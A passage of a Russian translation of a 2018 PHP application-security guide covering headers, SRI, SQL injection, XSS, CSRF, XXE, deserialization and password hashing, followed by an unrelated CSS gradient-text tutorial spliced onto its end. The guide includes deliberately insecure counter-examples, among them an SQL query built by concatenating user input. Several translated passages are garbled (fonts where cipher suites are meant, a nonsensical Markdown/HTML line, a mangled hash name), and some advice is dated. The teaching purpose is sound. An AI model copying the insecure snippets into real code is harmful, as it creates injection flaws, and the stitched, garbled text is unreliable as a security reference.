    • Разработка защищённых API
    • Журналирование событий безопасности с помощью Chronicle
  6. Несколько слов от автора
  7. Источники
 

Версии PHP

  Вкратце: ничего не поделаешь, но в 2018-м вы будете пользоваться PHP 7.2, а в начале 2019-го — планировать перейти на 7.3.   PHP 7.2 вышел 30 ноября 2017 г.   На момент написания статьи только PHP 7.1 и 7.2 активно поддерживаются разработчиками языка, а для PHP 5.6 и 7.0 ещё примерно год будут выходить патчи безопасности.   В некоторых ОС есть долговременная поддержка уже не поддерживаемых версий PHP, но это считается в целом порочной практикой. Например, бэкпортирование патчей безопасности без инкрементирования номеров версий затрудняет оценку системы безопасности только по версии PHP.   Соответственно, вне зависимости от обещаний вендоров всегда старайтесь использовать только активно поддерживаемую версию PHP, если это возможно. Если даже вы какое-то время будете работать с версией, для которой выходят только патчи безопасности, регулярные обновления версий избавят вас от многих неприятных сюрпризов.  

Управление зависимостями

  Вкратце: используйте Composer.   Composer — это шедевральное решение по управлению зависимостями в PHP-экосистеме. В книге PHP: The Right Way целый раздел посвящён началу работы с Composer, очень рекомендуем его прочесть.   Если вы не пользуетесь Composer для управления зависимостями, то рано или поздно (надеюсь — поздно, но, скорее всего, рано) окажетесь в ситуации, когда одна из библиотек, от которой вы зависите, сильно устареет, а преступники начнут активно эксплуатировать уязвимости в старых версиях.   Важно: не забывайте обновлять свои зависимости по мере разработки ПО. К счастью, это можно сделать одной строкой:  
composer update
  Если вы делаете что-то особенное, требующее использования PHP-расширений (написанных на С), то вы не можете установить их с помощью Composer. Вам также потребуется PECL.  

Рекомендуемые пакеты

  Вне зависимости от того, что вы создаёте, наверняка эти зависимости будут вам полезны. Это в дополнение к тому, что рекомендует большинство PHP-разработчиков (PHPUnit, PHP-CS-Fixer и т. д.).  

roave/security-advisories

  Пакет Roave security-advisories использует репозиторий Friends of PHP, чтобы ваш проект не зависел от любых пакетов с известными уязвимостями.  
composer require roave/security-advisories:dev-master
  Или можете загрузить свой файл composer.lock в Sensio Labs в качестве стандартной процедуры автоматической оценки на уязвимости, чтобы получать предупреждения о любых устаревших пакетах.  

vimeo/psalm

  Psalm — инструмент статичного анализа, помогающий определять возможные баги в вашем коде. Хотя есть и другие хорошие инструменты (например, замечательные Phan и PHPStan), но если вам нужна поддержка PHP 5, то Psalm — один из лучших инструментов статичного анализа для PHP 5.4+.   Использовать Psalm просто:  
# Version 1 doesn't exist yet, but it will one day:
composer require --dev vimeo/psalm:^0

# Only do this once:
vendor/bin/psalm --init

# Do this as often as you need:
vendor/bin/psalm
  Если вы впервые применяете этот код к имеющейся базе данных, то увидите много красных отметок. Если вы не создаёте приложение масштаба WordPress, то маловероятно, что вам придётся совершить подвиг Геркулеса, чтобы пройти все эти тесты.   Вне зависимости от того, какой инструмент статичного анализа вы выбрали, рекомендуем внедрить его в рабочий процесс непрерывной интеграции (если это возможно), чтобы инструмент запускался после каждого изменения кода.  

HTTPS и безопасность в браузере

  Вкратце: HTTPS, который нужно тестировать, и заголовки безопасности.   В 2018-м сайтам уже будет непозволительно работать по незащищённому HTTP. К счастью, можно было бесплатно получить TLS-сертификаты и автоматически обновлять их благодаря протоколу ACME и сертификационной компании Let’s Encrypt.   Интегрировать ACME в свой веб-сервер — пара пустяков.     Вы могли подумать: «Ладно, у меня есть TLS-сертификат. Теперь нужно потратить несколько часов на поиск конфигурации, чтобы сайт стал безопасным и быстрым».   Нет! Mozilla вам поможет. Для создания рекомендованных шифронаборов для своей аудитории можете использовать генератор конфигураций.   HTTPS (HTTP через TLS) совершенно безальтернативен, если хотите сделать свой сайт безопасным. Использование HTTPS моментально исключает несколько видов атак на ваших пользователей (внедрение контента «человек посередине», перехват данных, атаки повтором и манипуляции с сессиями ради подмены пользователя).  

Заголовки безопасности

  Хотя применение HTTPS на вашем сервере даёт много преимуществ по безопасности и производительности, можно пойти ещё дальше и воспользоваться другими функциями браузера по повышению безопасности. Большинство из них подразумевает отправку с контентом заголовков HTTP-ответов.  
  • Content-Security-Policy
    • Заголовок обеспечивает тонкое управление разрешениями загрузки браузером внешних и внутренних ресурсов. То есть это дополнительный уровень защиты от межсайтового скриптинга.
    • Воспользуйтесь CSP-Builder для быстрого и лёгкого развёртывания/управления политиками безопасности содержимого (Content Security Policies).
    • Для более глубокого анализа для начала можете прочитать это: введение в заголовки политик безопасности содержимого.
  • Expect-CT
    • Заголовок добавляет уровень защиты от мошеннических/скомпрометированных сертификационных компаний. Заголовок принуждает публиковать доказательства недействительности сертификатов в публично проверяемой, нередактируемой структуре данных. Подробнее об Expect-CThttps://scotthelme.co.uk/a-new-security-header-expect-ct/.
    • Сначала настройте enforcemax-age=30, а когда удостоверитесь, что заголовок не мешает работе сервиса, увеличьте max-age.
  • Referrer-Policy
    • Заголовок позволяет управлять передачей третьей стороне данных о поведении ваших пользователей.
    • Scott Helme прекрасно описывает работу с заголовками Referrer-Policy.
    • Настройте на same-origin или no-referrer, пока не будет причины передавать больше информации.
  • Strict-Transport-Security
    • Заголовок говорит браузеру передавать все будущие запросы к этому источнику по HTTPS, а не по небезопасному HTTP.
    • При первом развёртывании пропишите max-age=30, а потом увеличьте значение (например, до 31536000), когда будете уверены, что ничего не сломается.
  • X-Content-Type-Options
    • Путаница в MIME-типах может привести к непредсказуемым результатам, включая странные крайние ситуации с возникновением XSS-уязвимостей. Лучше всего использовать этот заголовок со стандартным Content-Type.
    • Задайте nosniff, если только вам не нужно поведение по умолчанию (например, для скачивания файлов).
  • X-Frame-Options
    • Заголовок предотвращает атаку типа «кликджекинг».
    • Задайте DENY (или SAMEORIGIN, но только если используете элементы <frame>)
  • X-XSS-Protection
    • Заголовок включает некоторые возможности браузера по защите от XSS, которые по умолчанию не включены.
    • Задайте 1; mode=block
  Аналогично, если вы используете встроенные PHP-свойства управления сессиями (что рекомендуется), то, возможно, захотите вызвать session_start():  
session_start([
    'cookie_httponly' => true,
    'cookie_secure' => true
]);
  Тогда ваше приложение при отправке идентификационных кук будет использовать только безопасные HTTPS-флаги, что предотвратит успешные XSS-атаки с помощью кражи пользовательских кук, они будут отправляться только по HTTPS. Пару лет назад мы уже писали о безопасных PHP-сессиях.  

Целостность подресурсов

  Однажды в будущем вы станете работать над проектом, использующим CDN для выгрузки традиционных Javascript/CSS-фреймворков и библиотек в центральное расположение. Неудивительно, что специалисты по безопасности предсказали очевидную проблему: если много сайтов используют CDN для предоставления части своего содержимого, то взлом CDN и подмена данных позволит внедрять произвольный код на тысячи (если не миллионы) сайтов.   Поэтому придумали целостность подресурсов (subresource integrity).   Целостность подресурсов (SRI) позволяет закреплять хеш содержимого файла, которое вам должна предоставить CDN. Текущая реализация SRI позволяет использовать только криптографические хеш-функции, поэтому злоумышленники не смогут сгенерировать вредоносные версии контента, приводящие к таким же хешам, как у оригинальных файлов.   Реальный пример: Bootstrap v4-alpha использует SRI в примере кода их CDN.  
<link
    rel="stylesheet"
    href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/css/bootstrap.min.css"
    integrity="sha384-rwoIResjU2yc3z8GV/NPeZWAv56rSmLldC3R/AZzGRnGxQQKnKkoFVhFQhNUwEyJ"
    crossorigin="anonymous"
/>
<script
    src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/js/bootstrap.min.js"
    integrity="sha384-vBWWzlZJ8ea9aCX4pEW3rVHjgjt7zpkNpZk+02D9phzyeVkE+jo0ieGizqPLForn"
    crossorigin="anonymous"
></script>
 

Взаимосвязи документов

  Веб-разработчики часто задают гиперссылкам атрибут target (например, target="_blank" для открытия ссылки в новом окне). Но если вы не передаёте также тэг rel="noopener", то позволите целевой странице получить контроль над исходной страницей.   Не делайте так  
<a href="http://example.com" target="_blank">Click here</a>
  Это позволит example.com получить контроль над текущей страницей.   Делайте так  
<a href="https://example.com" target="_blank" rel="noopener noreferrer">Click here</a>
  В новом окне открывается example.com, но не получает контроля над текущим окном.   Для дальнейшего изучения.  

Разработка защищённых PHP-приложений

  Если безопасность ПО для вас в новинку, можете начать с введения A Gentle Introduction to Application Security.   Многие специалисты по безопасности с самого начала обращают внимание разработчиков на ресурсы вроде OWASP Top 10. Но многие распространённые уязвимости можно считать особыми случаями одних и тех же высокоуровневых проблем (код/данные не разделены адекватно, ошибочная логика, небезопасная операционная среда, сломанные криптографические протоколы).   Мы считаем, что, если прививать неофитам в безопасности более простое, более фундаментальное представление о проблемах безопасности и их решениях, это поможет в долгосрочной перспективе улучшить ситуацию с безопасностью.  

Взаимодействие с базами данных

  Подробнее: Предотвращение SQL-внедрений в PHP-приложениях   Если вы сами пишете SQL-запросы, проверьте, что вы используете подготовленные выражения (prepared statements) и что любая предоставляемая сетью или файловой системой информация передаётся в виде параметров, а не конкатенируется в строку запроса. Также удостоверьтесь, что вы избегаете эмулированных подготовленных выражений.   Лучший выбор — EasyDB.   НЕ ДЕЛАЙТЕ ТАК:  
/* Небезопасный код: */
$query = $pdo->query("SELECT * FROM users WHERE username = '" . $_GET['username'] . "'");
  Делайте так:  
/* Защищено от SQL-внедрений: */
$results = $easydb->row("SELECT * FROM users WHERE username = ?", $_GET['username']);
  В базах данных есть и другие слои абстракций, предоставляющие эквивалентный уровень безопасности (EasyDB под капотом использует PDO, но любыми способами старается отключить эмулирование подготовленных выражений в пользу настоящих подготовленных выражений, чтобы предотвратить проблемы). Пока вводимые пользователями данные не могут влиять на структуру запросов (это относится и к хранимым процедурам) — вы в безопасности.  

Загрузка файлов

  Подробнее: Как безопасно разрешать пользователям загружать файлы   Принимать пользовательские файлы рискованно, но это можно делать безопасно, если принять ряд предосторожностей. В частности, закрыть прямой доступ к загружаемым файлам, чтобы они не могли быть исполнены или интерпретированы.   Загружаемые файлы должны иметь атрибуты «только для чтения» или «только для чтения или записи» и никогда не быть исполняемыми.   Если на вашем сайте корневая директория для документов /var/www/example.com, то не надо хранить загружаемые файлы в /var/www/example.com/uploaded_files.   Лучше хранить их в отдельной директории, к которой нет прямого доступа (например, /var/www/example.com-uploaded/), чтобы они случайно не выполнялись как серверные скрипты и не открывали дверь удалённому исполнению кода.   Более чистое решение — переместить свою корневую директорию для файлов на один уровень вниз (т. е. в /var/www/example.com/public).   Другая проблема загружаемых файлов связана с их безопасным скачиванием.  
  • SVG-изображения при прямом обращении исполняют в пользовательском браузере JavaScript-код. Это несмотря на вводящий в заблуждение префикс image/ в MIME-типе.
  • Сниффинг MIME-типа может привести к атакам посредством путаницы типов, как было описано выше. См. X-Content-Type-Options.
  • Если вы не последовали предыдущему совету относительно безопасного хранения загруженных файлов, то злоумышленник, пытающийся загрузить файл .php или .phtml, может исполнить произвольный код, обратившись к файлу напрямую в браузере, и получить полный контроль над сервером. Будьте осторожны.
 

Межсайтовый скриптинг (XSS)

  Подробнее: Всё, что вам нужно знать о предотвращении межсайтового скриптинга в PHP   В идеальном мире предотвратить XSS было бы так же легко, как и SQL-внедрение. У нас был бы простой в использовании API для отделения структуры документа от его содержимого.   К сожалению, в реальном мире большинство веб-разработчиков генерируют длинный HTML и отправляют его в HTTP-ответе. Это характерно не только для PHP, просто таковы реалии веб-разработки.   Закрытие XSS-уязвимостей — задача вполне решаемая. Однако содержимое раздела о браузерной безопасности неожиданно обретает большую важность. Вкратце:  
  1. Всегда экранируйте на выходе, никогда на входе. Если в базе данных вы храните очищенные данные, потом где-то обнаруживается SQL-уязвимость, атакующий может полностью обойти вашу XSS-защиту, просто «загрязнив» зловредным кодом вроде бы чистые записи.
  2. Если у вашего фреймворка есть движок шаблонов, предлагающий автоматическую контекстную фильтрацию, то воспользуйтесь ею. Ваш фреймворк будет работать безопаснее.
  3. echo htmlentities($string, ENT_QUOTES | ENT_HTML5, 'UTF-8'); — это безопасный и эффективный способ остановить все XSS-атаки на страницу, использующую UTF-8, но при этом весь HTML будет запрещён.
  4. Если вам требуется использовать Markdown вместо HTML, не выбирайте HTML.
  5. Если вам нужно разрешить какой-то HTML и вы не пользуетесь движком шаблонов (см. пункт 1), применяйте HTML Purifier. HTML Purifier не подходит для экранирования контекста HTML-атрибутов.
 

Подделка межсайтовых запросов (CSRF)

  Подделка межсайтовых запросов — это разновидность атаки с подменой делегата: можно обмануть пользовательский браузер и заставить его выполнить вредоносный HTTP-запрос с повышенными пользовательскими привилегиями.   В целом эта проблема легко решается:  
  1. Используйте HTTPS. Это необходимое условие.
  2. Добавьте базовую аутентификацию типа «вопрос-ответ».
    • Добавьте в каждую форму скрытый атрибут.
    • Генерируйте криптографически безопасные случайные значения (токены).
    • Проверяйте предоставляемые скрытые атрибуты форм и сверяйтесь с ожидаемыми значениями.
  Мы написали библиотеку Anti-CSRF, которая идёт ещё дальше:  
  • Каждый токен можно сделать одноразовым, чтобы предотвратить атаки повтором.
    • Токены хранятся на бэкенде.
    • Токены ротируются по мере востребованности, сначала идут более старые.
  • Каждый токен можно привязать к конкретному URI.
    • Если происходит утечка токена, он не может использоваться в другом контексте.
  • При желании токены могут быть ограничены конкретным IP-адресом.
  • С версии v2.1 токены можно использовать многократно (например, для AJAX-вызовов).
  Если ваш фреймворк не заботится о CSRF-уязвимостях, то применяйте Anti-CSRF.   В скором будущем куки SameSite позволят прекращать CSRF-атаки с гораздо меньшими усилиями.  

XML-атаки (XXE, XPath-внедрения)

  Есть две основные уязвимости, проявляющиеся в приложениях, которые много обрабатывают XML:  
  1. Внешние сущности XML (XXE).
  2. XPath-внедрения.
  XXE-атаки, помимо прочего, могут использоваться как стартовая площадка для эксплойтов локального/удалённого внедрения файлов.   Ранние версии Google Docs были уязвимы к XXE-атакам, но они мало известны за пределами бизнес-приложений, обрабатывающих большие объёмы XML.   Главное, что нужно сделать для защиты от XXE-атак:  
libxml_disable_entity_loader(true);
  XPath-внедрение очень похоже на SQL-внедрение, только здесь речь идёт об XML-документах.   К счастью, в PHP-экосистеме редко возникают ситуации, когда вводимые пользователями данные передаются в XPath-запросе.   К сожалению, это также означает, что лучшее доступное решение (для заранее скомпилированных и параметризованных XPath-запросов) в PHP-экосистеме отсутствует.   Рекомендуем использовать белые списки разрешённых символов для любых данных, имеющих отношение к XPath-запросам.  
<?php
declare(strict_types=1);

class SafeXPathEscaper
{
    /**
     * @param string $input
     * @return string
     */
    public static function allowAlphaNumeric(string $input): string
    {
        return \preg_replace('#[^A-Za-z0-9]#', '', $input);
    }

    /**
     * @param string $input
     * @return string
     */
    public static function allowNumeric(string $input): string
    {
        return \preg_replace('#[^0-9]#', '', $input);
    }
}

// Usage:
$selected = $xml->xpath(
    "/user/username/" . SafeXPathEscaper::allowAlphaNumeric(
        $_GET['username']
    )
);
  Белые списки безопаснее чёрных.  

Десериализация и внедрение PHP-объектов

  Подробнее: Безопасная (де)сериализация в PHP   Если вы передаёте в unserialize() недоверенные данные, то напрашиваетесь на два варианта развития событий:  
  1. Внедрение PHP-объекта, который можно использовать для запуска POP-цепочки и срабатывания других уязвимостей из неправильно используемых объектов.
  2. Повреждение памяти в самом интерпретаторе PHP.
  Многие разработчики предпочитают использовать вместо этого JSON-сериализацию, что является заметным улучшением безопасности ПО. Но имейте в виду, что json_decode() уязвима для DDoS-атак посредством хеш-коллизий. К сожалению, полное решение проблемы хеш-DOS в PHP ещё предстоит найти.   Полностью защититься от этих атак поможет мигрирование с djb33 на Siphash с назначением 1 в качестве старшего бита для хеша строкового входного значения, 0 для целочисленного и с заранее запрошенным ключом, его предоставит CSPRNG.   К сожалению, создатели PHP не готовы частично пожертвовать производительностью, которой они добились в PHP 7, поэтому трудно убедить их отказаться от djb33 (очень быстрого, но небезопасного) в пользу SipHash (тоже быстрого, хотя и не как djb33, но куда более безопасного). Значительное снижение производительности может даже помешать разработке будущих версий, что не пойдёт на пользу безопасности.   Поэтому лучше поступать так:  
  • Использовать JSON, это безопаснее unserialize().
  • Там, где возможно, аутентифицируйте входные данные, прежде чем десериализовать их.
    • Для данных, которые вы предоставляете конечным пользователям, выбирайте sodium_crypto_auth() и sodium_crypto_auth_verify() с секретным ключом, известным только серверу.
    • Для данных, предоставляемых третьей стороной, подписывайте JSON-сообщения с помощью sodium_crypto_sign(), а затем проверяйте с помощью sodium_crypto_sign_open() и стороннего публичного ключа.
    • Также можете использовать для записи отдельный API, если для передачи вам нужно шестнадцатеричное или base64-кодирование подписей.
  • Там, где нет возможности аутентифицировать JSON-строки, используйте строгое рейт лимиты и блокируйте IP-адреса для защиты от атаки повторением.
 

Хеширование паролей

  Подробнее: Как в 2016-м безопасно хранить пользовательские пароли Безопасное хранилище паролей раньше было темой активной дискуссии, но сегодня его просто реализовать, особенно в PHP:  
$hash = \password_hash($password, PASSWORD_DEFAULT);

if (\password_verify($password, $hash)) {
    // Authenticated.
    if (\password_needs_rehash($hash, PASSWORD_DEFAULT)) {
        // Rehash, update database.
    }
}
  Вам даже не нужно знать, какой там алгоритм, потому что если вы используете самую свежую версию PHP, то будете использовать и самые последние технологии, а пользовательские пароли будут автоматически обновлены, как только окажется доступен новый алгоритм по умолчанию.   Что бы вы ни делали, не делайте так, как WordPress.   Если интересно: с PHP 5.5 по 7.2 алгоритмом по умолчанию является bcrypt. В будущем его могут заменить Argon2, победителем в Соревновании по хешированию паролей.   Если до этого вы не использовали API password_* и вам нужно мигрировать легаси-хеши, то сделайте это именно так. Многие компании, например Yahoo, поступили неправильно. Похоже, недавно причиной бага с iamroot у Apple стала некорректная реализация обновления легаси-хешей.  

Криптография общего назначения

  Мы много писали на эту тему:     Для криптографии на уровне приложения всегда выбирайте библиотеку Sodium (libsodium). Если вам нужно поддерживать PHP ниже 7.2 (вплоть до 5.2.4), можете использовать sodium_compat и притвориться, что пользователи тоже применяют 7.2.   В особых случаях из-за выбранных алгоритмов и взаимозаменяемости вам могут понадобиться другие библиотеки. Если сомневаетесь, проконсультируйтесь у криптографа по поводу выбора шифра и у инженера по шифрованию по поводу безопасности реализации.  

Особые случаи

  Вы получили представление, как в 2018-м нужно создавать защищённые PHP-приложения. Давайте теперь рассмотрим некоторые специфические случаи.  

Шифрование с возможностью поиска

  Подробнее: Building Searchable Encrypted Databases with PHP and SQL   Многим хочется иметь шифрованные базы данных с возможностью поиска, но считается, что их трудно реализовать. По ссылке выше вы найдёте статью, в которой мы последовательно ведём читателя по разработке такой БД. В частности:  
  1. Проектируем такую архитектуру, чтобы компрометация базы данных не позволила атакующему получить доступ к ключам шифрования.
  2. Шифруем данные одним секретным ключом.
  3. Создаём многочисленные индексы (с собственными различными секретными ключами) на основе HMAC или безопасного KDF со статической солью (например, Argon2).
  4. По желанию: усекаем выходные данные шага 3, используем их в качестве Bloom-фильтра.
  5. Используем выходные данные шагов 3 или 4 в запросах SELECT.
  6. Расшифровываем результат.
  На любом шаге вы можете идти на компромиссы в зависимости от того, что в вашем случае оправдано.  

Аутентификация на основе токенов без побочных каналов

  Подробнее: Сплит-токены: протоколы аутентификации на основе токенов без побочных каналов   Если говорить о базах данных (предыдущий раздел): вы знали, что запросы SELECT теоретически могут быть источником утечек информации о тайминге?   Простые меры защиты:  
  1. Режьте свои токены аутентификации пополам.
  2. Одну половину используйте в запросах SELECT.
  3. Вторую половину проверяйте за фиксированное время (constant-time).
    • При желании можете хранить в БД вместо второй половины токена её хеш. Это имеет смысл для одноразовых токенов, например для сброса паролей или для «запоминания меня на этом компьютере».
  Даже если воспользоваться утечкой данных о тайминге для кражи половины токена, оставшаяся половина потребует брутфорс-атаки.  

Разработка защищённых API

  Подробнее: С помощью Sapient закаливаем ваши PHP API   Мы написали SAPIENTSecure API ENgineering Toolkit, чтобы упростить задачу межсерверного аутентификационного обмена сообщениями. Sapient позволяет шифровать и/или аутентифицировать сообщения с помощью шифрования на основе общего (shared) или публичного ключа в дополнение к средствам безопасности HTTPS.   Это позволяет с помощью Ed25519 аутентифицировать и отвечать на API-запросы или шифровать сообщения для целевого сервера, которые можно расшифровать лишь с помощью секретного ключа на принимающем сервере, даже несмотря на атаку «человек посередине» в сочетании с фальшивой/скомпрометированной сертификационной организацией.   Поскольку тело каждого HTTP-сообщения аутентифицируется с помощью безопасного шифрования, его можно использовать вместо протоколов, оперирующих токенами с проверкой состояния (например, Oauth). Но если говорить о самом шифровании, то прежде чем делать что-то нестандартное, всегда нужно быть уверенными в том, что выбранный вами алгоритм проанализирован специалистами.   Вся используемая в Sapient криптография предоставлена шифровальной библиотекой Sodium.   Дополнительно почитать:  
  • Документация Sapient
  • Руководство по Sapient
  • Спецификация Sapient
  Paragon Initiative Enterprises уже использует Sapient во многих своих продуктах (включая open source проекты) и продолжит расширять портфолио пользователей Sapient.  

Безопасное журналирование событий с помощью Chronicle

  Подробнее: Chronicle заставит задуматься, нужна ли вам технология блокчейна   Chronicle — криптографический журнал, обновляемый только путём добавления новых записей. Он основан на использующей хеш-цепочки структуре данных, свойства которой, безо всяких излишеств, привлекают многие компании в стан технологии «блокчейна».   Помимо более изощрённых способов применения такого журнала, Chronicle превосходно себя проявляет в SIEM, поскольку вы можете отправлять важные с точки зрения безопасности события в личный журнал, после чего они становятся неизменяемыми.   Если ваш Chronicle настроен на перекрёстную запись (cross-sign) суммарного хеша в другие экземпляры Chronicle и/или если есть другие экземпляры, сконфигурированные на репликацию содержимого вашего Chronicle, то атакующему будет крайне сложно подделать ваши журналы событий безопасности.   С помощью Chronicle вы получите надёжность блокчейна без распространённых проблем с приватностью, производительностью или масштабируемостью.   Для публикации данных в локальный Chronicle можно использовать любой API, совместимый с Sapient, но самое простое решение — Quill.  

Несколько слов от автора

  Проницательный читатель мог заметить, что мы много ссылаемся на собственные работы (статьи и open source проекты), но мы ссылаемся не только на свои работы.   Это неслучайно.   Наша компания с самого основания в начале 2015-го пишет библиотеки для обеспечения безопасности и участвует в повышении защищённости экосистемы PHP.   Мы много путешествуем, и наш инженер по безопасности (чьи недавние усилия по использованию более сильной криптографии в ядре PHP только что отразились в PHP 7.2), по его собственному признанию, не слишком силён в генерировании хайпа или интереса к своей работе. Наверняка вы не слышали и о половине инструментов или библиотек, созданных нами за эти годы.   Но мы не можем стать пионерами во всех направлениях, поэтому везде, где это возможно, связываемся с экспертами индустрии, которые, как нам кажется, больше ориентируются на общественное благо, чем на мелкий эгоизм. Поэтому большая часть раздела, посвящённого безопасности в браузере, снабжена ссылками на работы Скотта Хелме (Scott Helme) и компании. Он вложил много сил в то, чтобы эти новые возможности по обеспечению безопасности стали доступны и понятны разработчикам.   Конечно, это не исчерпывающее руководство. Существует почти столько же способов писать небезопасный код, сколько способов самого написания кода. Безопасность — это больше мышление, чем цель. Мы надеемся, что с помощью всего сказанного и приведённых ниже источников разработчики с сегодняшнего дня смогут создавать защищённые PHP-приложения.  

Источники

  Если вы уже изучили всё предложенное и хотите больше, почитайте курируемый нами список по изучению безопасности приложений.   Если вы считаете, что адекватно пишете безопасный код, и хотите покритиковать нас с точки зрения инженера по безопасности, то именно такую услугу мы и предлагаем своим клиентам.   Если вы работаете в компании, которая заинтересована в оценке соответствия требованиям (PCI-DSS, ISO 27001 и т. д.), можете нанять нас для аудита своего исходного кода. Мы работаем гораздо более дружественно к разработчикам, чем другие консультанты по безопасности.   Ниже — список источников от PHP-сообщества и сообщества по информационной безопасности.  
  • PHP: The Right Way — бесплатное руководство по современной PHP-разработке.
  • Генератор SSL-конфигураций Mozilla.
  • Let’s Encrypt — сертификационная компания, бесплатно предоставляющая TLS-сертификаты ради повышения безопасности интернета.
  • Qualys SSL Labs предоставляет простой тестовый набор для TLS-конфигураций. Очень многие используют его для отладки своих наборов шрифтов и решения проблем с сертификатами, и не просто так: инструмент работает отлично.
  • Security Headers умеет проверять, насколько хорош ваш сайт с точки зрения использования браузерных средств безопасности для защиты пользователей.
  • Report-URI — замечательный бесплатный ресурс, поддерживающий инициативы по внедрению заголовков безопасности. Вам даётся Report-URI, который вы можете передавать браузерам пользователей, а те будут жаловаться Report-URI, если что-то сломается или обнаружится вектор XSS-атаки. Report-URI собирает все эти ошибки и помогает лучше отлаживать и сортировать статистику.
  • The PHP Security Advent Calendar, созданный разработчиками RIPSTech.
  • Snuffleupagus — PHP-модуль для улучшения безопасности приложений (и духовный наследник практически заброшенного Suhosin).
  • PHP Delusions — сайт, посвящённый улучшению использования PHP. Многое высказано очень категорично, но из-за стремления автора к технической точности и ясности почитать стоит. Особенно тем, кто не очень хорошо разбирается во многих функциях PDO.
  • Have I Been Pwned? помогает пользователям узнать, оказались ли их данные среди ранее украденной информации.

Градиент для текста

 
Градиент для текста — технология экспериментальная, поддерживается только в браузерах на основе WebKit-движка. Тем не менее, этим приёмом можно свободно пользоваться, а для браузеров, не поддерживающих это свойство, просто задавать цвет текста. Таким образом, браузеры, поддерживающие свойства, отобразят текст с градиентом, а браузеры, не поддерживающие свойство, просто пропустят его в коде и установят для текста заданный цвет. Меняя угол градиента, а также используя повтор градиента, можно создавать интересные эффекты. Свойство -webkit-background-clip: text обрезает любой фон (в том числе градиентный) по границе текста. Используется в сочетании с css-свойством -webkit-text-fill-color: transparent, которое обеспечивает прозрачность букв текста, за счет чего фон проглядывает через него.

Пример 1. Градиентный текст

ГРАДИЕНТНЫЙ ТЕКСТ

<p class="gradient-text">Градиентный текст</p>
@import url(https://fonts.googleapis.com/css?family=Rubik+One&subset=latin,cyrillic);
.gradient-text {
  font-family: 'Rubik One', sans-serif;
  font-size: 50px;
  text-transform: uppercase;
  background: linear-gradient(45deg, #0B2349 33%, #0D61BC 66%, #8AA9D6);
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
  color: #0B2349;
  display: table;
  margin: 20px auto;
}

Пример 2. Полосатый текст

ПОЛОСАТЫЙ ТЕКСТ

<p class="striped-text">Полосатый текст</p>
.striped-text {
  font-family: 'Rubik One', sans-serif;
  font-size: 50px;
  text-transform: uppercase;
  background: repeating-linear-gradient(white, white 2px, #7AB4E2 2px, #7AB4E2 3px);
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
  color: #183D58;
  display: table;
  margin: 20px auto;    
}

Пример 3. Прозрачный текст

ПРОЗРАЧНЫЙ ТЕКСТ

<p class="transparent-text">Прозрачный текст</p>
.transparent-text {
  font-family: 'Rubik One', sans-serif;
  font-size: 50px;
  text-transform: uppercase;
  background: #2E2F45;
  display: table;
  margin: 20px auto;
  color: white;
  border-radius: 5px;
  mix-blend-mode: multiply;
  padding: 5px 10px;
}

Пример 4. Полосатая тень

ПОЛОСАТАЯ ТЕНЬ

<p class="striped-shadow">Полосатая тень</p>
.striped-shadow {
  font-family: 'Rubik One', sans-serif;
  font-size: 50px;
  text-transform: uppercase;
  text-shadow: -4px -4px 0px #D2EAD7;
  background: repeating-linear-gradient(45deg, #6EB495, #6EB495 1px, white 2px, white 3px);
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
  display: table;
  margin: 20px auto;
}

Пример 5. Тень «горошек»

ТЕНЬ «ГОРОШЕК»

<p class="shadow-polka-dot">Тень "горошек"</p>
.shadow-polka-dot {
  font-family: 'Rubik One', sans-serif;
  font-size: 50px;
  text-transform: uppercase;
  text-shadow: -5px -5px 0px #EF7657;
  background: radial-gradient(#9DA8A9 1px, transparent 1px);
  background-size: 4px 4px;
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
  display: table;
  margin: 20px auto;
}

Пример 6. Градиентные границы

Элегантное решение, как сделать градиентные границы для элемента с помощью свойства border-image. За толщину рамки отвечает свойство border: 1px solid;
Градиентные границы
<div class="gradient-border">Градиентные границы</div>
.gradient-border {
  padding: 20px;
  letter-spacing: 0.2em;
  border: 1px solid;
  border-image: linear-gradient(20deg, #f92056 38%, #00deff 65%);
  border-image-slice: 1;
}

Пример 7. Градиентные границы и градиентный текст

Градиентные границы и текст
<div class="gradient-all">Градиентные границы и текст</div>
.gradient-all {
  font-size: 2em;
  background: linear-gradient(135deg, #12BCB0 20%, #FABE0E 70%);
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
  display: inline-block;
  padding: 0.3em 0.6em ;
  border: 3px solid transparent;
  border-image: linear-gradient(135deg, #12BCB0 20%, #FABE0E 70%);
  border-image-slice: 1;
}